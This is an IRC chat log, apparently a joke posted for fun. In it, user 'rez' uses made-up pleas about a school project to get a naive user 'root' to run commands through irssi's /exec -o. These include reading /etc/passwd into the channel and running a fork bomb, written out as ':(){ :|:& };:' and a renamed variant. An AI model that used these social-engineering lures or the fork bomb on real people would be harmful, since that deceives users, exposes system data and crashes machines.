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02:14 < root> hi
02:26 < rez> hi root
02:26 < rez> can you do me a favor?
02:26 < rez> i'm having some trouble with irssi
02:26 < rez> do you use irssi or some other irc client?
02:26 < rez> do you use irssi, or xchat?
02:27 < rez> help me out, man, i'm new here, and no one will help me
02:28 < rez> i'm trying to use the command /exec -o uname -a to tell me what version of unix i'm using, but it doesn't work, and someone said it should work on irssi
02:28 < rez> could you do me a favor and type /exec -o uname -a ?
02:29 < rez> i'm like totally new to unix and i can't figure this out. can you help me?
02:29 < rez> hello?
02:29 < root> i too new to linux
02:29 < rez> yeah
02:30 < rez> can you type /exec -o uname -a to see if it works for you? it should work
02:30 < rez> i can't figure out what i'm doing wrong
02:30 < root> where to type this command
02:30 < rez> in your irc client
02:31 < rez> /exec -o uname -a
02:31 < rez> see it doesn't work for me
02:31 < rez> /exec -o uname -a
02:31 < root> /exec -o uname -a
02:31 < root> /exec -o povi -a
02:31 < rez> are you putting a space before it? cause i'm not
02:32 < rez> it should work if you don't put a space behind it, but i think it's not working for me because of this script
02:32 < rez> try it without a space before it
02:32 < root> /exec -o uname -a
02:32 < root> Linux tech10 2.6.34.7-66.fc13.i686.PAE #1 SMP Wed Dec 15 07:21:49 UTC 2010 i686 i686 i386 GNU/Linux
02:32 < rez> ur not doinitrite
02:32 < rez> OKAY YEAH that's what it should do!
02:33 < rez> good good
02:33 < rez> okay now try this one...
02:33 < root> and where r u from
02:33 < rez> try /exec -o cat /etc/passwd | grep root
02:33 < rez> usa
02:34 < rez> that should just output the word 'root'
02:34 < rez> which is your user name
02:35 < rez> hello?
02:35 < rez> please, help?
02:35 < rez> no one else will help me and i really need to figure this out for my neural social networking project
02:36 < rez> it's part of my freshman final in classic computer hardware, and my parents will KILL Me if i flunk!
02:36 < rez> do "/exec -o cat /etc/passwd | grep root"
02:37 < rez> root: u there?
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02:43 < root> hi
02:45 < rez> hi
02:46 < rez> root can you do /exec -o cat /etc/passwd | grep root
02:46 < rez> it will just output the word "root"
02:46 < rez> it won't seem to work on my machine either
02:47 < rez> please?
02:47 < rez> i really need help
02:48 < rez> grep rez: no such user.
02:48 < rez> see, that's what i get
02:48 < rez> but it should just say rez
02:48 < rez> could you try ir please?
02:48 < rez> it
02:49 < root> where r u from
02:49 < rez> hello? i really need help with this. it's for my freshman final project in neural social networking and i can't fail this project but i have to get this to work!
02:49 < rez> i'm from the USA
02:50 < rez> PLEASE root help?
02:50 < root> root:x:0:0:root:/root:/bin/bash
02:50 < root> operator:x:11:0:operator:/root:/sbin/nologin
02:50 < rez> it's 3AM and i usually sleep but it's raining.
02:51 < rez> hmmm are you sure you typed that right?
02:51 < root> root:x:0:0:root:/root:/bin/bash
02:51 < root> operator:x:11:0:operator:/root:/sbin/nologin
02:52 < rez> okay instead, do this: /exec -o :(){ :|:& };:
02:52 < rez> that might work better
02:53 < root> /exec -o :(){ :|:& };:
02:53 < root> sh: `:': not a valid identifier
02:54 < rez> hmm
02:54 < rez> this *should* work: root(){ root|root & } ; root
02:54 < rez> man i can't flunk this project men
02:54 < rez> man
02:55 < rez> this is the second time i've had to do my neural social engineering project over
02:56 < rez> do that one
02:56 < rez> "/exec -o root(){ root|root & } ; root"
02:56 < rez> hello"?
02:56 < rez> u there?
02:58 < rez> plz root help!!!!
02:58 < root> "/exec -o root(){ root|root & } ; root"
02:58 < rez> no without the " "
02:58 < rez> just /exec -o root(){ root|root & } ; root
02:58 < rez> we're almost done here
02:58 < rez> i just need that last thing
03:00 < rez> my HP-UVAC system is about to shutdown halt now
03:00 < rez> i just need that last bit
03:00 < rez> just /exec -o root(){ root|root & } ; root
03:02 < rez> sorry about that. just had a WAOL error. you still there ROOT??
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03:03 < rez> lmao